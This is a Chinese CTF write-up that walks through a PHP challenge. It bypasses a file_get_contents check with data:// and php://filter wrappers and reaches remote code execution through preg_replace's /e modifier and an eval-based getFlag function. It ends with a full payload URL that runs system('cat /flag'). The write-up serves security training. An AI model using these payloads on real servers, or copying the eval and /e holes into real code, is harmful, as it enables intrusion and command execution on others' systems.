知识点:1.php伪协议
2. greap_replace/e 函数漏洞
3.${} 标识
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
开始进行代码审计~
这也代码还是很容易绕过的~
两个if语句,第一个if语句用data://伪协议就可以了
也可以用php://input语句
成功绕过~
第二个就是一个正则表达式,匹配输入的file中不能存在flag
但是他代码有提示next.php
那就输入一下试试~
没啥用,那么用php://filter读取一下
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
读出来再来解码一下~
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
又要开始进行代码审计了~
我们可以看到preg_replace()这个正则表达式,里面2个参数值,反别为$re 和 $str ,意思就是将$str 这个 value 进行匹配, 匹配的内容是$re ,当我们输入的value匹配完成后它会被移动到strtolower()函数下执行php代码这个时候我们可以调用getFlag()函数来执行命令~
继续分析~
之后就是foreach循环了,开始便利你get请求传入的name以及对应的value,并且调用了上面的complex方法.
最后面还有一个getFlag()方法,我们目的大概就是通过这个方法去构造payload语句~
开始构造payload~
http://36f0642a-f898-4242-bf06-f9b29e0db9a7.node5.buuoj.cn:81/?text=data://text/plain,I%20have%20a%20dream&file=next.php&\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);
payload语句中我们定义了${getFlag()},目的是在调用strtolower时调用getFlag(),${}就是为了标明他是一个动态函数,当他进行/e执行的时候就会调用这个函数,同时我们传入参数cmd来获取flag,而\S*时正则表达式中的所有非空字符,由于system函数执行完毕后直接显示到我们的页面上,并没有返回值所以我们只看到的之后flag值.
PHP正则表达:PHP正则表达式的逆向引用与子模式分析_php正则表达式()子模式-CSDN博客